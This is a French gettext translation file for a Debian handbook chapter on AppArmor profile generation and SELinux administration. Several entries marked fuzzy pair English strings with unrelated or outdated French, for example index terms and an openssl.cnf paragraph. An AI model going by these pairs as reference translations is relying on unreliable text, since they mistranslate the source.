Abo(r)t / (F)inish / (M)ore\n" "A\n" "Adding #include <abstractions/nameservice> to profile.\n" "\n" "Profile: /sbin/dhclient\n" "Path: /proc/7252/net/dev\n" "Mode: r\n" "Severity: 6\n" "\n" " 1 - /proc/7252/net/dev \n" " [2 - /proc/*/net/dev]\n" "[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n" "A\n" "Adding /proc/*/net/dev r to profile\n" "\n" "[...]\n" "Profile: /sbin/dhclient \n" "Path: /run/dhclient-eth0.pid\n" "Mode: w\n" "Severity: unknown\n" "\n" " [1 - /run/dhclient-eth0.pid]\n" "[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n" "N\n" "\n" "Enter new path: /run/dhclient*.pid\n" "\n" "Profile: /sbin/dhclient\n" "Path: /run/dhclient-eth0.pid\n" "Mode: w\n" "Severity: unknown\n" "\n" " 1 - /run/dhclient-eth0.pid \n" " [2 - /run/dhclient*.pid]\n" "[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n" "A\n" "Adding /run/dhclient*.pid w to profile\n" "\n" "[...]\n" "Profile: /usr/lib/NetworkManager/nm-dhcp-helper \n" "Path: /proc/filesystems\n" "Mode: r\n" "Severity: 6\n" "\n" " [1 - /proc/filesystems]\n" "[(A)llow] / (D)eny / (I)gnore / (G)lob / Glob with (E)xtension / (N)ew / Abo(r)t / (F)inish / (M)ore\n" "A\n" "Adding /proc/filesystems r to profile\n" "\n" "= Changed Local Profiles =\n" "\n" "The following local profiles were changed. Would you like to save them?\n" "\n" " [1 - /sbin/dhclient]\n" " 2 - /usr/lib/NetworkManager/nm-dhcp-helper \n" "(S)ave Changes / Save Selec(t)ed Profile / [(V)iew Changes] / View Changes b/w (C)lean profiles / Abo(r)t\n" "S\n" "Writing updated profile for /sbin/dhclient.\n" "Writing updated profile for /usr/lib/NetworkManager/nm-dhcp-helper.\n" "\n" "Profiling: /sbin/dhclient\n" "\n" "[(S)can system log for AppArmor events] / (F)inish\n" "F\n" "Setting /sbin/dhclient to enforce mode.\n" "Setting /usr/lib/NetworkManager/nm-dhcp-helper to enforce mode.\n" "\n" "Reloaded AppArmor profiles in enforce mode.\n" "\n" "Please consider contributing your new profile!\n" "See the following wiki page for more information:\n" "http://wiki.apparmor.net/index.php/Profiles\n" "\n" "Finished generating profile for /sbin/dhclient." #, fuzzy #| msgid "Note that the program does not display back the control characters that you type but for the clarity of the explanation I have included them in the previous transcript." msgid "Note that the program does not display back the control characters that you type but for the clarity of the explanation we have included them in the previous transcript." msgstr "Il faut noter que le programme n'affiche pas les caractères de contrôle tapés ; nous les avons inclus dans la transcription ci-dessus pour clarifier les choses." msgid "The first event detected is the execution of another program. In that case, you have multiple choices: you can run the program with the profile of the parent process (the “Inherit” choice), you can run it with its own dedicated profile (the “Profile” and the “Named” choices, differing only by the possibility to use an arbitrary profile name), you can run it with a sub-profile of the parent process (the “Child” choice), you can run it without any profile (the “Unconfined” choice) or you can decide to not run it at all (the “Deny” choice)." msgstr "Le premier événement détecté est l'exécution d'un autre programme. Dans ce cas, plusieurs choix s'offrent à nous : on peut soit lancer le programme avec le profil du programme parent (Inherit), soit le lancer avec un profil dédié (Profile et Name, qui ne diffèrent que par la possibilité de choisir un nom de profil arbitraire), soit le lancer avec un sous-profil du processus parent (Child), soit le lancer sans aucun profil (Unconfined), soit ne pas le lancer du tout (Deny)." msgid "Note that when you opt to run it under a dedicated profile that doesn't exist yet, the tool will create the missing profile for you and will make rule suggestions for that profile in the same run." msgstr "À noter que lorsque l'on choisit de lancer le processus fils selon un profil dédié mais qui n'existe pas encore, l'outil va créer le profil manquant, et proposer des suggestions de règles par la même occasion." msgid "At the kernel level, the special powers of the root user have been split in “capabilities”. When a system call requires a specific capability, AppArmor will verify whether the profile allows the program to make use of this capability." msgstr "Au niveau du noyau, les pouvoirs spéciaux de l'utilisateur root ont été séparés en « capacités ». Lorsqu'un appel système a besoin d'une capacité spécifique, AppArmor va vérifier que le profil permet au programme d'utiliser cette capacité." #, fuzzy #| msgid "Here the program seeks read permissions for /etc/nsswitch.conf. aa-genprof detected that this permission was also granted by multiple “abstractions” and offers them as alternative choices. An abstraction provides a reusable set of access rules grouping together multiple resources that are commonly used together. In this specific case, the file is generally accessed through the nameservice related functions of the C library and we type “3” to first select the “#include <abstractions/nameservice>” choice and then “A” to allow it." msgid "Here the program seeks read permissions for /etc/ssl/openssl.cnf. aa-genprof detected that this permission was also granted by multiple “abstractions” and offers them as alternative choices. An abstraction provides a reusable set of access rules grouping together multiple resources that are commonly used together. In this specific case, the file is generally accessed through the nameservice related functions of the C library and we type “2” to first select the “#include <abstractions/openssl>” choice and then “A” to allow it." msgstr "Ici, le programme requiert les permissions de lecture sur /etc/nsswitch.conf. aa-genprof a détecté que cette permission était déjà accordée par plusieurs « abstractions », et les offre comme des choix possibles. Une abstraction fournit un ensemble réutilisable de règles de contrôle d'accès, en regroupant des règles qui sont souvent utilisées de concert. Dans notre cas précis, ce fichier est généralement utilisé par les fonctions de la bibliothèque C standard liées à la résolution de noms, et nous choisissons donc « 3 » pour inclure le choix « #include <abstractions/nameservice> », puis « A » pour l'autoriser." #, fuzzy #| msgid "Notice that this access request is not part of the dhclient profile but of the new profile that we created when we allowed /usr/lib/NetworkManager/nm-dhcp-helper to run with its own profile." msgid "Notice that this access request is not part of the dhclient profile but of the new profile that we created when we allowed /usr/sbin/dhclient-script to run with its own profile." msgstr "Notons que cette tentative d'accès ne fait pas partie du profil dhclient, mais du nouveau profil que nous avons créé lorsque nous avons autorisé /usr/lib/NetworkManager/nm-dhcp-helper à fonctionner sous son propre profil." msgid "After having gone through all the logged events, the program offers to save all the profiles that were created during the run. In this case, we have two profiles that we save at once with “Save” (but you can save them individually too) before leaving the program with “Finish”." msgstr "Une fois que tous les événements enregistrés ont été examinés, le programme propose de sauver tous les profils qui ont été créés pendant l'exécution. Dans notre cas, nous avons deux profils que nous enregistrons d'un coup avec « Save » (mais nous aurions aussi pu les enregistrer un par un) avant de quitter le programme avec « Finish »." #, fuzzy #| msgid "semanage" msgid "aa-genprof" msgstr "semanage" #, fuzzy #| msgid "top" msgid "aa-logprof" msgstr "top" msgid "aa-genprof is in fact only a smart wrapper around aa-logprof: it creates an empty profile, loads it in complain mode and then run aa-logprof which is a tool to update a profile based on the profile violations that have been logged. So you can re-run that tool later to improve the profile that you just created." msgstr "aa-genprof n'est en fait qu'un petit script intelligent qui utilise aa-logprof : il crée un profil vide, le charge en mode relâché, puis lance aa-logprof. Ce dernier est un outil qui met à jour un profil en fonction des violations qui ont été enregistrées. On peut donc relancer cet outil plus tard, de manière à améliorer le profil nouvellement créé." #, fuzzy #| msgid "If you want the generated profile to be complete, you should use the program in all the ways that it is legitimately used. In the case of dhclient, it means running it via Network Manager, running it via ifupdown, running it manually, etc. In the end, you might get a /etc/apparmor.d/sbin.dhclient close to this:" msgid "If you want the generated profile to be complete, you should use the program in all the ways that it is legitimately used. In the case of dhclient, it means running it via Network Manager, running it via ifupdown, running it manually, etc. In the end, you might get a /etc/apparmor.d/usr.sbin.dhclient close to the profile shipped by apparmor-profiles in /usr/share/apparmor/extra-profiles/sbin.dhclient." msgstr "Pour que le profil généré soit complet, il faut utiliser le programme de toutes les manières légitimement possibles. Dans le cas de dhclient, cela implique de le lancer via Network Manager, mais aussi via ifupdown, à la main, etc. À la fin, on obtient un /etc/apparmor.d/sbin.dhclient qui ressemble à ceci :" msgid "And /etc/apparmor.d/usr.sbin.dhclient-script might be similar to /usr/share/apparmor/extra-profiles/sbin.dhclient, shipped in apparmor-profiles too." msgstr "" msgid "Introduction to SELinux" msgstr "Introduction à SELinux" msgid "SELinux" msgstr "SELinux" #, fuzzy #| msgid "security context" msgid "Security Enhanced LinuxSELinux" msgstr "contexte de sécurité" #, fuzzy #| msgid "logsdisplay" msgid "SELinuxconcept" msgstr "logsaffichage" msgid "SELinux (Security Enhanced Linux) is a Mandatory Access Control system built on Linux's LSM (Linux Security Modules) interface. In practice, the kernel queries SELinux before each system call to know whether the process is authorized to do the given operation." msgstr "SELinux (Security Enhanced Linux) est un système de contrôle d'accès obligatoire (Mandatory Access Control) qui s'appuie sur l'interface Linux Security Modules fournie par le noyau Linux. Concrètement, le noyau interroge SELinux avant chaque appel système pour savoir si le processus est autorisé à effectuer l'opération concernée." msgid "SELinux uses a set of rules — collectively known as a policy — to authorize or forbid operations. Those rules are difficult to create. Fortunately, two standard policies (targeted and strict) are provided to avoid the bulk of the configuration work." msgstr "SELinux s'appuie sur un ensemble de règles (policy) pour autoriser ou interdire une opération. Ces règles sont assez délicates à créer, mais heureusement deux jeux de règles standards (targeted et strict) sont fournies pour éviter le plus gros du travail de configuration." #, fuzzy #| msgid "packetIP" msgid "securitycontext" msgstr "paquetIP" #, fuzzy #| msgid "packetIP" msgid "securityrole" msgstr "paquetIP" #, fuzzy #| msgid "packetIP" msgid "securitydomain" msgstr "paquetIP" msgid "With SELinux, the management of rights is completely different from traditional Unix systems. The rights of a process depend on its security context. The context is defined by the identity of the user who started the process, the role and the domain that the user carried at that time. The rights really depend on the domain, but the transitions between domains are controlled by the roles. Finally, the possible transitions between roles depend on the identity." msgstr "Le système de permissions de SELinux est totalement différent de ce qu'offre un système Unix traditionnel. Les droits d'un processus dépendent de son contexte de sécurité. Le contexte est défini par l'identité de celui qui a démarré le processus, le rôle et le domaine qu'il avait à ce moment. Les permissions proprement dites dépendent du domaine, mais les transitions entre les domaines sont contrôlées par les rôles. Enfin, les transitions autorisées entre rôles dépendent de l'identité." msgid "Security contexts and Unix users" msgstr "Contextes de sécurité et utilisateurs Unix" #, fuzzy #| msgid "In practice, during login, the user gets assigned a default security context (depending on the roles that they should be able to endorse). This defines the current domain, and thus the domain that all new child processes will carry. If you want to change the current role and its associated domain, you must call newrole -r role_r -t domain_t (there's usually only a single domain allowed for a given role, the -t parameter can thus often be left out). This command authenticates you by asking you to type your password. This feature forbids programs to automatically switch roles. Such changes can only happen if they are explicitly allowed in the SELinux policy." msgid "In practice, during login, the user gets assigned a default security context (depending on the roles that they should be able to endorse). This defines the current domain, and thus the domain that all new child processes will carry. If you want to change the current role and its associated domain, you must call newrole -r role_r -t domain_t (there is usually only a single domain allowed for a given role, the -t parameter can thus often be left out). This command authenticates you by asking you to type your password. This feature forbids programs to automatically switch roles. Such changes can only happen if they are explicitly allowed in the SELinux policy." msgstr "En pratique, au moment de la connexion, l'utilisateur se voit attribuer un contexte de sécurité par défaut (en fonction des rôles qu'il a le droit d'assumer). Cela fixe le domaine dans lequel il évolue. S'il veut changer de rôle et de domaine associé, il doit employer la commande newrole -r role_r -t domaine_t (il n'y a généralement qu'un seul domaine possible pour un rôle donné et le paramètre -t est donc souvent inutile). Cette commande demande à l'utilisateur son mot de passe afin de l'authentifier. Cette caractéristique empêche tout programme de pouvoir changer de rôle de manière automatique. De tels changements ne peuvent avoir lieu que s'ils sont prévus dans l'ensemble de règles." msgid "Obviously the rights do not apply to all objects (files, directories, sockets, devices, etc.). They can vary from object to object. To achieve this, each object is associated to a type (this is known as labeling). Domains' rights are thus expressed with sets of (dis)allowed operations on those types (and, indirectly, on all objects which are labeled with the given type)." msgstr "Bien entendu, les droits ne s'appliquent pas universellement à tous les objets (fichiers, répertoires, sockets, périphériques, etc.), ils peuvent varier d'un objet à l'autre. Pour cela, chaque objet est associé à un type (on parle d'étiquetage). Les droits des domaines s'expriment donc en termes d'opérations autorisées (ou non) sur ces types (donc implicitement sur tous les objets qui sont marqués avec le type correspondant)." msgid "EXTRA Domains and types are equivalent" msgstr "COMPLÉMENTS Domaine et type sont équivalents" #, fuzzy #| msgid "Internally, a domain is just a type, but a type that only applies to processes. That's why domains are suffixed with _t just like objects' types." msgid "Internally, a domain is just a type, but a type that only applies to processes. That is why domains are suffixed with _t just like objects' types." msgstr "En interne, un domaine n'est qu'un type, mais un type qui ne s'applique qu'aux processus. C'est pour cela que les domaines sont suffixés par _t tout comme le sont les types affectés aux objets." msgid "By default, a program inherits its domain from the user who started it, but the standard SELinux policies expect many important programs to run in dedicated domains. To achieve this, those executables are labeled with a dedicated type (for example ssh is labeled with ssh_exec_t, and when the program starts, it automatically switches to the ssh_t domain). This automatic domain transition mechanism makes it possible to grant only the rights required by each program. It is a fundamental principle of SELinux." msgstr "Par défaut, un programme exécuté hérite du domaine de l'utilisateur qui l'a démarré. Mais pour la plupart des programmes importants, les règles SELinux standards prévoient de les faire fonctionner dans un domaine dédié. Pour cela, ces exécutables sont étiquetés avec un type dédié (par exemple ssh est étiqueté avec ssh_exec_t et lorsque le programme est démarré, il bascule automatiquement dans le domaine ssh_t). Ce mécanisme de changement automatique de domaine permet de ne donner que les droits nécessaires au bon fonctionnement de chaque programme et est à la base de SELinux." msgid "Automatic transitions between domains" msgstr "Transitions automatiques entre domaines" msgid "IN PRACTICE Finding the security context" msgstr "EN PRATIQUE Connaître le contexte de sécurité" msgid "context, security context" msgstr "sécurité, contexte de" #, fuzzy #| msgid "MD5" msgid "MCS" msgstr "MD5" #, fuzzy #| msgid "MCS (Multi-Category Security)" msgid "Multi-Category SecurityMCS" msgstr "MCS (Multi-Category Security)" msgid "To find the current security context in a shell, you should call id -Z." msgstr "Pour connaître le contexte de sécurité actuellement actif dans un terminal de commande, il faut invoquer id -Z." #, fuzzy #| msgid "" #| "$ id -Z\n" #| "unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023" msgid "" "$ id -Z\n" "unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023" msgstr "" "$ id -Z\n" "unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023" msgid "If you receive a message saying id: --context (-Z) works only on an SELinux-enabled kernel instead, then you need to enable SELinux first by running selinux-activate and rebooting." msgstr "" #, fuzzy #| msgid "SELinux" msgid "selinux-activate" msgstr "SELinux" msgid "To find the security context of a given process, you should use the Z option of ps." msgstr "Pour connaître le contexte de sécurité appliqué à un processus, il faut employer l'option Z de ps." #, fuzzy #| msgid "" #| "$ ps axZ | grep vstfpd\n" #| "system_u:system_r:ftpd_t:s0 2094 ? Ss 0:00 /usr/sbin/vsftpd" msgid "" "$ ps axZ | grep vstfpd\n" "system_u:system_r:ftpd_t:s0 2094 ? Ss 0:00 /usr/sbin/vsftpd" msgstr "" "$ ps axZ | grep vstfpd\n" "system_u:system_r:ftpd_t:s0 2094 ? Ss 0:00 /usr/sbin/vsftpd" msgid "The first field contains the identity, the role, the domain and the MCS level, separated by colons. The MCS level (Multi-Category Security) is a parameter that intervenes in the setup of a confidentiality protection policy, which regulates the access to files based on their sensitivity. This feature will not be explained in this book." msgstr "Le premier champ contient l'identité, le rôle, le domaine et le niveau MCS, séparés par des deux-points. Le niveau MCS (Multi-Category Security) est un paramètre intervenant dans la mise en place d'une politique de protection de la confidentialité, laquelle restreint l'accès aux fichiers selon leur degré de confidentialité. Cette fonctionnalité ne sera pas abordée dans ce livre." msgid "Finally, to find the type assigned to a file, you can use ls -Z." msgstr "Enfin, pour connaître le type affecté à un fichier, on peut employer ls -Z." #, fuzzy #| msgid "" #| "$ ls -Z test /usr/bin/ssh\n" #| "unconfined_u:object_r:user_home_t:s0 test\n" #| " system_u:object_r:ssh_exec_t:s0 /usr/bin/ssh" msgid "" "$ ls -Z test /usr/bin/ssh\n" "unconfined_u:object_r:user_home_t:s0 test\n" "system_u:object_r:ssh_exec_t:s0 /usr/bin/ssh\n" "" msgstr "" "$ ls -Z test /usr/bin/ssh\n" "unconfined_u:object_r:user_home_t:s0 test\n" " system_u:object_r:ssh_exec_t:s0 /usr/bin/ssh" msgid "It is worth noting that the identity and role assigned to a file bear no special importance (they are never used), but for the sake of uniformity, all objects get assigned a complete security context." msgstr "Signalons que l'identité et le rôle associé à un fichier n'ont pas d'importance particulière, ils n'interviennent jamais. Mais par souci d'uniformisation, tous les objets se voient attribuer un contexte de sécurité complet." msgid "Setting Up SELinux" msgstr "La mise en route" msgid "SELinux support is built into the standard kernels provided by Debian. The core Unix tools support SELinux without any modifications. It is thus relatively easy to enable SELinux." msgstr "Le code de SELinux est intégré dans les noyaux standards fournis par Debian et les programmes Unix de base le gèrent sans modification. Il est donc relativement simple d'activer SELinux." #, fuzzy #| msgid "The apt install selinux-basics selinux-policy-default command will automatically install the packages required to configure an SELinux system." msgid "The apt install selinux-basics selinux-policy-defaulti auditd command will automatically install the packages required to configure an SELinux system." msgstr "La commande apt install selinux-basics selinux-policy-default installera automatiquement les paquets nécessaires pour configurer un système SELinux." msgid "The selinux-policy-default package contains a set of standard rules. By default, this policy only restricts access for a few widely exposed services. The user sessions are not restricted and it is thus unlikely that SELinux would block legitimate user operations. However, this does enhance the security of system services running on the machine. To setup a policy equivalent to the old “strict” rules, you just have to disable the unconfined module (modules management is detailed further in this section)." msgstr "Le paquet selinux-policy-default contient un ensemble de règles standards. Par défaut, l'ensemble de règles ne restreint les accès que pour certains services très exposés. Les sessions utilisateur ne sont pas restreintes et il n'y a donc que peu de risques que SELinux bloque des opérations légitimes des utilisateurs. En revanche, cela permet d'apporter un surcroît de sécurité pour les services système fonctionnant sur la machine. Pour obtenir l'équivalent des anciennes règles « strictes », il faut simplement désactiver le module unconfined (la gestion des modules est détaillée plus loin)." msgid "Once the policy has been installed, you should label all the available files (which means assigning them a type). This operation must be manually started with fixfiles relabel." msgstr "Une fois les règles installées, il reste à étiqueter tous les fichiers disponibles (il s'agit de leur affecter un type). C'est une opération qu'il faut déclencher manuellement avec fixfiles relabel." #, fuzzy #| msgid "logsmonitoring" msgid "kernelselinux" msgstr "logssurveillance" #, fuzzy #| msgid "bufferreceive buffer" msgid "kernelsecurity" msgstr "réception, tampon" #, fuzzy #| msgid "logsdisplay" msgid "kernelaudit" msgstr "logsaffichage" #, fuzzy #| msgid "logsmonitoring" msgid "kernelenforcing" msgstr "logssurveillance" #, fuzzy #| msgid "logsdisplay" msgid "SELinuxkernel parameters" msgstr "logsaffichage" msgid "The SELinux system is now ready. To enable it, you should add the selinux=1 security=selinux parameter to the Linux kernel. The audit=1 parameter enables SELinux logging which records all the denied operations. Finally, the enforcing=1 parameter brings the rules into application: without it SELinux works in its default permissive mode where denied actions are logged but still executed. You should thus modify the GRUB bootloader configuration file to append the desired parameters. One easy way to do this is to modify the GRUB_CMDLINE_LINUX variable in /etc/default/grub and to run update-grub. SELinux will be active after a reboot." msgstr "Le système SELinux est prêt, il ne reste plus qu'à l'activer. Pour cela, il faut passer le paramètre selinux=1 security=selinux au noyau Linux. Le paramètre audit=1 active les traces SELinux qui enregistrent les différentes opérations qui ont été refusées. Enfin, le paramètre enforcing=1 permet de mettre en application l'ensemble des règles : en effet, par défaut SELinux fonctionne en mode permissive où les actions interdites sont tracées mais malgré tout autorisées. Il faut donc modifier le fichier de configuration du chargeur de démarrage GRUB pour ajouter les paramètres désirés. Le plus simple pour cela est de modifier la variable GRUB_CMDLINE_LINUX dans /etc/default/grub et d'exécuter update-grub. Au démarrage suivant, SELinux sera actif." #, fuzzy #| msgid "semanage" msgid "selinux-activate" msgstr "semanage" #, fuzzy #| msgid "monitoringactivity" msgid "SELinuxactivate" msgstr "surveillancede l'activité" msgid "It is worth noting that the selinux-activate script automates those operations and forces a labeling on next boot (which avoids new non-labeled files created while SELinux was not yet active and while the labeling was going on)." msgstr "Signalons que le script selinux-activate automatise ces opérations et permet de forcer un étiquetage au prochain redémarrage, ce qui évite d'avoir des fichiers non étiquetés créés alors que SELinux n'était pas encore actif et que l'étiquetage était en cours." msgid "Managing an SELinux System" msgstr "La gestion d'un système SELinux" msgid "semodule" msgstr "semodule" msgid "semanage" msgstr "semanage" #, fuzzy #| msgid "logsdisplay" msgid "SELinuxrules" msgstr "logsaffichage" msgid "The SELinux policy is a modular set of rules, and its installation detects and enables automatically all the relevant modules based on the already installed services. The system is thus immediately operational. However, when a service is installed after the SELinux policy, you must be able to manually enable the corresponding module. That is the purpose of the semodule command. Furthermore, you must be able to define the roles that each user can endorse, and this can be done with the semanage command." msgstr "L'ensemble de règles SELinux est modulaire et son installation détecte et active automatiquement tous les modules pertinents en fonction des services déjà installés. Ainsi, le système est immédiatement fonctionnel. Toutefois, lorsqu'un service est installé après les règles SELinux, il faut pouvoir activer manuellement un module de règles. C'est le rôle de la commande semodule. En outre, il faut pouvoir définir les rôles accessibles à chaque utilisateur ; pour cela c'est la commande semanage qu'il faudra utiliser." msgid "Those two commands can thus be used to modify the current SELinux configuration, which is stored in /etc/selinux/default/. Unlike other configuration files that you can find in /etc/, all those files must not be changed by hand. You should use the programs designed for this purpose." msgstr "Ces deux commandes modifient donc la configuration SELinux courante qui est stockée dans /etc/selinux/default/. Contrairement à ce qui se pratique d'habitude avec les fichiers de configuration de /etc/, ces fichiers ne doivent pas être modifiés manuellement. Il faut les manipuler en utilisant les programmes prévus pour cela." #, fuzzy #| msgid "bufferreceive buffer" msgid "/etc/etc/selinux/default/" msgstr "réception, tampon" msgid "GOING FURTHER More documentation" msgstr "POUR ALLER PLUS LOIN Plus de documentation" #, fuzzy #| msgid "Since the NSA doesn't provide any official documentation, the community set up a wiki to compensate. It brings together a lot of information, but you must be aware that most SELinux contributors are Fedora users (where SELinux is enabled by default). The documentation thus tends to deal specifically with that distribution. " msgid "Since the NSA doesn't provide any official documentation, the community set up a wiki to compensate. It brings together a lot of information, but you must be aware that most SELinux contributors are Fedora users (where SELinux is enabled by default). The documentation thus tends to deal specifically with that distribution. " msgstr "SELinux ne disposant d'aucune documentation officielle rédigée par la NSA, la communauté a mis en place un wiki pour combler ce manque criant. Il rassemble beaucoup d'informations mais il faut tenir compte du fait que la majorité des contributeurs utilisant SELinux sont utilisateurs de Fedora (où SELinux est activé par défaut). La documentation a donc tendance à traiter du cas de cette distribution. " msgid "You should also have a look at the dedicated Debian wiki page. " msgstr "" msgid "Managing SELinux Modules" msgstr "Gestion des modules SELinux" #, fuzzy #| msgid "logsdisplay" msgid "SELinuxmodules" msgstr "logsaffichage" msgid "Available SELinux modules are stored in the /usr/share/selinux/default/ directory. To enable one of these modules in the current configuration, you should use semodule -i module.pp.bz2. The pp.bz2 extension stands for policy package (compressed with bzip2)." msgstr "Les modules SELinux disponibles sont stockés dans le répertoire /usr/share/selinux/default/. Pour activer un de ces modules dans la configuration courante, il faut employer semodule -i module.pp.bz2. L'extension pp.bz2 signifie policy package que l'on pourrait traduire par « paquet de règles » (comprimé avec bzip2)." msgid "Removing a module from the current configuration is done with semodule -r module. Finally, the semodule -l command lists the modules which are currently installed. It also outputs their version numbers. Modules can be selectively enabled with semodule -e and disabled with semodule -d." msgstr "À l'inverse, la commande semodule -r module retire un module de la configuration courante. Enfin, la commande semodule -l liste les modules qui sont actuellement installés. La commande inclut également le numéro de version du module." #, fuzzy #| msgid "" #| "# semodule -i /usr/share/selinux/default/abrt.pp.bz2\n" #| "# semodule -l\n" #| "abrt 1.5.0 Disabled\n" #| "accountsd 1.1.0 \n" #| "acct 1.6.0 \n" #| "[...]\n" #| "# semodule -e abrt\n" #| "# semodule -d accountsd\n" #| "# semodule -l\n" #| "abrt 1.5.0\n" #| "accountsd 1.1.0 Disabled\n" #| "acct 1.6.0 \n" #| "[...]\n" #| "# semodule -r abrt\n" #| "# semodule -l\n" #| "accountsd 1.1.0 Disabled\n" #| "acct 1.6.0 \n" #| "[...]" msgid "" "# semodule -i /usr/share/selinux/default/abrt.pp.bz2\n" "libsemanage.semanage_direct_install_info: abrt module will be disabled after install as there is a disabled instance of this module present in the system.\n" "# semodule -l\n" "accountsd\n" "acct\n" "[...]\n" "# semodule -e abrt\n" "# semodule -d accountsd\n" "# semodule -l\n" "abrt\n" "acct\n" "[...]\n" "# semodule -r abrt\n" "libsemanage.semanage_direct_remove_key: abrt module at priority 100 is now active." msgstr "" "# semodule -i /usr/share/selinux/default/abrt.pp.bz2\n" "# semodule -l\n" "abrt 1.5.0 Disabled\n" "accountsd 1.1.0 \n" "acct 1.6.0 \n" "[...]\n" "# semodule -e abrt\n" "# semodule -d accountsd\n" "# semodule -l\n" "abrt 1.5.0\n" "accountsd 1.1.0 Disabled\n" "acct 1.6.0 \n" "[...]\n" "# semodule -r abrt\n" "# semodule -l\n" "accountsd 1.1.0 Disabled\n" "acct 1.6.0 \n" "[...]" msgid "semodule immediately loads the new configuration unless you use its -n option. It is worth noting that the program acts by default on the current configuration (which is indicated by the SELINUXTYPE variable in /etc/selinux/config), but that you can modify another one by specifying it with the -s option." msgstr "semodule recharge immédiatement la nouvelle configuration, sauf si l'on utilise l'option -n. Signalons également que le programme modifie par défaut la configuration courante (celle indiquée par la variable SELINUXTYPE dans /etc/selinux/config) mais qu'on peut en modifier une autre grâce à l'option -s." #, fuzzy #| msgid "monitoringlog files" msgid "/etc/etc/selinux/config" msgstr "surveillancedes logs" msgid "Managing Identities" msgstr "Gestion des identités" #, fuzzy #| msgid "logsdisplay" msgid "SELinuxidentity" msgstr "logsaffichage" msgid "Every time that a user logs in, they get assigned an SELinux identity. This identity defines the roles that they will be able to endorse. Those two mappings (from the user to the identity and from this identity to roles) are configurable with the semanage command." msgstr "Chaque fois qu'un utilisateur se connecte, il se voit attribuer une identité SELinux, qui va définir les rôles qu'il va pouvoir assumer. Ces deux correspondances (de l'utilisateur vers l'identité SELinux et de cette identité vers les rôles) se configurent grâce à la commande semanage." #, fuzzy #| msgid "You should definitely read the semanage8 manual page, even if the command's syntax tends to be similar for all the concepts which are managed. You will find common options to all sub-commands: -a to add, -d to delete, -m to modify, -l to list, and -t to indicate a type (or domain)." msgid "You should definitely read the semanage 8 manual page. All the managed concepts have their own manual page; for instance, semanage-login 8. Even if the command's syntax tends to be similar for all the concepts which are managed, it is recommended to read its manual page. You will find common options to most subcommands: -a to add, -d to delete, -m to modify, -l to list, and -t to indicate a type (or domain)." msgstr "La lecture de la page de manuel semanage8 est indispensable, même si la syntaxe de cette commande ne varie guère selon les concepts manipulés. On retrouvera des options communes aux différentes sous-commandes : -a pour ajouter, -d pour supprimer, -m pour modifier, -l pour lister et -t pour indiquer un type (ou domaine)." msgid "semanage login -l lists the current mapping between user identifiers and SELinux identities. Users that have no explicit entry get the identity indicated in the __default__ entry. The semanage login -a -s user_u user command will associate the user_u identity to the given user. Finally, semanage login -d user drops the mapping entry assigned to this user." msgstr "semanage login -l liste les correspondances existantes entre identifiants d'utilisateurs et identités SELinux. Si un utilisateur n'a pas de correspondance explicite, il aura l'identité indiquée en face de __default__. La commande semanage login -a -s user_u utilisateur va associer l'identité user_u à l'utilisateur. Enfin, semanage login -d utilisateur va retirer la correspondance affectée à l'utilisateur." #, fuzzy #| msgid "" #| "# semanage login -a -s user_u rhertzog\n" #| "# semanage login -l\n" #| "\n" #| "Login Name SELinux User MLS/MCS Range Service\n" #| "\n" #| "__default__ unconfined_u SystemLow-SystemHigh *\n" #| "rhertzog user_u SystemLow *\n" #| "root unconfined_u SystemLow-SystemHigh *\n" #| "system_u system_u SystemLow-SystemHigh *\n" #| "# semanage login -d rhertzog " msgid "" "# semanage login -a -s user_u rhertzog\n" "# semanage login -l\n" "\n" "Login Name SELinux User MLS/MCS Range Service\n" "\n" "__default__ unconfined_u s0-s0:c0.c1023 *\n" "rhertzog user_u s0 *\n" "root unconfined_u s0-s0:c0.c1023 *\n" "# semanage login -d rhertzog\n" "" msgstr "" "# semanage login -a -s user_u rhertzog\n" "# semanage login -l\n" "\n" "Login Name SELinux User MLS/MCS Range Service\n" "\n" "__default__ unconfined_u SystemLow-SystemHigh *\n" "rhertzog user_u SystemLow *\n" "root unconfined_u SystemLow-SystemHigh *\n" "system_u system_u SystemLow-SystemHigh *\n" "# semanage login -d rhertzog " msgid "semanage user -l lists the mapping between SELinux user identities and allowed roles. Adding a new identity requires to define both the corresponding roles and a labeling prefix which is used to assign a type to personal files (/home/user/*). The prefix must be picked among user, staff, and sysadm. The “staff” prefix results in files of type “staff_home_dir_t”. Creating a new SELinux user identity is done with semanage user -a -R roles -P prefix identity. Finally, you can remove an SELinux user identity with semanage user -d identity." msgstr "semanage user -l liste les correspondances entre identité SELinux et rôles possibles. Ajouter une nouvelle identité nécessite de préciser d'une part les rôles correspondants et d'autre part, un préfixe d'étiquetage qui définira le type affecté aux fichiers personnels (/home/utilisateur/*). Le préfixe est à choisir entre user, staff et sysadm. Un préfixe « staff » donnera des fichiers typés staff_home_dir_t. La commande créant une identité est semanage user -a -R rôles -P préfixe identité. Enfin, une identité peut être supprimée avec semanage user -d identité." #, fuzzy #| msgid "" #| "# semanage user -a -R 'staff_r user_r' -P staff test_u\n" #| "# semanage user -l\n" #| "\n" #| " Labeling MLS/ MLS/ \n" #| "SELinux User Prefix MCS Level MCS Range SELinux Roles\n" #| "\n" #| "root sysadm SystemLow SystemLow-SystemHigh staff_r sysadm_r system_r\n" #| "staff_u staff SystemLow SystemLow-SystemHigh staff_r sysadm_r\n" #| "sysadm_u sysadm SystemLow SystemLow-SystemHigh sysadm_r\n" #| "system_u user SystemLow SystemLow-SystemHigh system_r\n" #| "test_u staff SystemLow SystemLow staff_r user_r\n" #| "unconfined_u unconfined SystemLow SystemLow-SystemHigh system_r unconfined_r\n" #| "user_u user SystemLow SystemLow user_r\n" #| "# semanage user -d test_u" msgid "" "# semanage user -a -R 'staff_r user_r' -P staff test_u\n" "# semanage user -l\n" "\n" " Labeling MLS/ MLS/ \n" "SELinux User Prefix MCS Level MCS Range SELinux Roles\n" "\n" "root sysadm s0 s0-s0:c0.c1023 staff_r sysadm_r system_r\n" "staff_u staff s0 s0-s0:c0.c1023 staff_r sysadm_r\n" "sysadm_u sysadm s0 